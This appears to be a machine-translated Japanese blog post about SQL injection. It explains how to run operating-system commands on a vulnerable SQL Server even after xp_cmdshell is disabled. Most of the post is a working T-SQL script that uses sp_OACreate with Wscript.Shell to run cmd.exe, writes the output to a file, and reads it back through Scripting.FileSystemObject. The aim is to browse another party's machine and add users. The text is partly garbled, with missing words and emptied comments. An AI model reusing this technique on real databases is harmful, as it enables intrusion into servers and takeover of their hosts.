xp_は不要cmdshellは、注入ホールのあるSQLサーバ上でCMDコマンドを実行することをサポートします.


私のブログにはSQL注入の基本原理といくつかの方法について紹介した文章があります.最も興味深いのは、前述した拡張ストレージ・プロシージャxpの利用かもしれません.cmdshellは、オペレーティングシステムのコンソールコマンドを実行します.この方法も非常に簡単で、以下のSQL文:EXEC masterを使用するだけです.dbo.xp_cmdshell'dir c:/'しかし、ますます多くのデータベース管理者は、この拡張ストレージプロセスの潜在的な危険を認識しており、ストレージプロセスのダイナミックリンクライブラリxplog 70を使用する可能性がある.dllファイルが削除されたり、名前が変更されたりすると、多くの人が諦めるかもしれません.私たちはcmdコマンドを実行することができず、相手のコンピュータのファイル、ディレクトリ、開いているサービスを表示することが難しく、NTユーザーを追加することもできません.これについて研究した結果、xp_でもcmdshellが使用できなくなったか、サーバ上でCMDを実行して結果を再現する可能性があります.ここではSQLサーバの他のいくつかのシステムストレージプロセスを使用します.sp_OACreate,sp_OAGetPropertyとsp_OAMethod.前提はサーバ上のWscript.shellとScripting.FileSystemObjectが使用可能です.sp_OACreateはMicrosoftで® SQL Server™ インスタンスにOLEオブジェクトインスタンスを作成します.構文sp_OACreate progid, | clsid,    objecttoken OUTPUT    [ , context ]sp_OAGetProperty OLEオブジェクトの属性値を取得します.構文sp_OAGetProperty objecttoken,    propertyname    [, propertyvalue OUTPUT]    [, index...] sp_OAMethodがOLEオブジェクトを呼び出す方法.構文sp_OAMethod objecttoken,    methodname    [, returnvalue OUTPUT]    [ , [ @parametername = ] parameter [ OUTPUT ]    [...n]]

SQL Server Wscript.Shell, run Method, cmd.exe , Scripting.FileSystemObject, TextStream , , 。

SQL


CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
-- run true , ping 。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
-- fso opentextfile textstream , @file

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP


, , 。